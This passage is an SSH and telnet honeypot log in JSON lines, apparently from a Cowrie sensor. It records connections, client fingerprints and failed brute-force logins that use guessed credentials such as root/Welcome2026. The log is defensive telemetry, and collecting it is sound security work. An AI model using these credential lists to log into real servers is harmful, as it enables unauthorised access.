{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:33.907054Z","src_ip":"118.193.33.81","session":"2597a7db6106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:34.120348Z","src_ip":"118.193.33.81","session":"2597a7db6106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59926,"dst_ip":"159.203.135.109","dst_port":22,"session":"36a17767be7d","protocol":"ssh","message":"New connection: 159.203.92.129:59926 (159.203.135.109:22) [session: 36a17767be7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:34.693295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:34.698155Z","src_ip":"159.203.92.129","session":"36a17767be7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:34.703077Z","src_ip":"159.203.92.129","session":"36a17767be7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"zxcvbnm","message":"login attempt [ansible/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:34.716129Z","src_ip":"159.203.92.129","session":"36a17767be7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2026","message":"login attempt [root/Welcome2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:34.987468Z","src_ip":"118.193.33.81","session":"2597a7db6106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.223.91.130","src_port":54142,"dst_ip":"10.17.0.5","dst_port":22,"session":"334e11ddcd00","protocol":"ssh","message":"New connection: 162.223.91.130:54142 (10.17.0.5:22) [session: 334e11ddcd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:35.019812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:35.024757Z","src_ip":"162.223.91.130","session":"334e11ddcd00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:35.043638Z","src_ip":"162.223.91.130","session":"334e11ddcd00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2021","message":"login attempt [root/admin@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:35.147791Z","src_ip":"162.223.91.130","session":"334e11ddcd00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:35.725200Z","src_ip":"159.203.92.129","session":"36a17767be7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":54070,"dst_ip":"10.17.0.5","dst_port":22,"session":"3106c4a5b9bd","protocol":"ssh","message":"New connection: 210.79.142.221:54070 (10.17.0.5:22) [session: 3106c4a5b9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:35.812592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:35.818501Z","src_ip":"210.79.142.221","session":"3106c4a5b9bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:36.060569Z","src_ip":"210.79.142.221","session":"3106c4a5b9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:36.167877Z","src_ip":"162.223.91.130","session":"334e11ddcd00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:36.212205Z","src_ip":"118.193.33.81","session":"2597a7db6106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123abc","message":"login attempt [administrator/123abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:37.057788Z","src_ip":"210.79.142.221","session":"3106c4a5b9bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:38.302092Z","src_ip":"210.79.142.221","session":"3106c4a5b9bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.162.19","src_port":40162,"dst_ip":"159.203.135.109","dst_port":22,"session":"419ab71f2509","protocol":"ssh","message":"New connection: 81.30.162.19:40162 (159.203.135.109:22) [session: 419ab71f2509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:45.404792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:45.409108Z","src_ip":"81.30.162.19","session":"419ab71f2509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:45.529200Z","src_ip":"81.30.162.19","session":"419ab71f2509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ht123456@","message":"login attempt [root/Ht123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:46.047056Z","src_ip":"81.30.162.19","session":"419ab71f2509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:47.172379Z","src_ip":"81.30.162.19","session":"419ab71f2509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.206528425216675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:32:58.046003Z","src_ip":"205.210.31.94","session":"dee3f39fe5fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":58764,"dst_ip":"159.203.135.109","dst_port":22,"session":"16abe55ae512","protocol":"ssh","message":"New connection: 157.7.113.83:58764 (159.203.135.109:22) [session: 16abe55ae512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:05.602803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:05.607668Z","src_ip":"157.7.113.83","session":"16abe55ae512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:05.777088Z","src_ip":"157.7.113.83","session":"16abe55ae512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtesttest","message":"login attempt [test/testtesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:06.434299Z","src_ip":"157.7.113.83","session":"16abe55ae512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:07.593160Z","src_ip":"157.7.113.83","session":"16abe55ae512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0016884803772,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:17.883591Z","src_ip":"187.88.74.212","session":"b693cd256f55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00124287605286,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:19.102226Z","src_ip":"187.88.74.212","session":"e3a58120ece5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37110,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a39de192c12","protocol":"ssh","message":"New connection: 159.203.92.129:37110 (159.203.135.109:22) [session: 4a39de192c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:19.818819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:19.823142Z","src_ip":"159.203.92.129","session":"4a39de192c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:19.826581Z","src_ip":"159.203.92.129","session":"4a39de192c12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"zxczxc","message":"login attempt [ansible/zxczxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:19.837010Z","src_ip":"159.203.92.129","session":"4a39de192c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:20.843091Z","src_ip":"159.203.92.129","session":"4a39de192c12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013222694397,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:21.504532Z","src_ip":"187.88.74.212","session":"ddc8202495fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":48024,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fdc18179913","protocol":"telnet","message":"New connection: 187.88.74.212:48024 (159.203.135.109:23) [session: 4fdc18179913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:22.137273Z"}
{"eventid":"cowrie.session.closed","duration":120.00176310539246,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:23.981269Z","src_ip":"187.88.74.212","session":"45405cf6dfe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.88.74.212","src_port":48204,"dst_ip":"159.203.135.109","dst_port":23,"session":"348ba59967d6","protocol":"telnet","message":"New connection: 187.88.74.212:48204 (159.203.135.109:23) [session: 348ba59967d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:24.364220Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":28662,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b9ad0d50e4a","protocol":"ssh","message":"New connection: 118.193.33.81:28662 (159.203.135.109:22) [session: 3b9ad0d50e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:26.496088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:33:26.500757Z","src_ip":"118.193.33.81","session":"3b9ad0d50e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@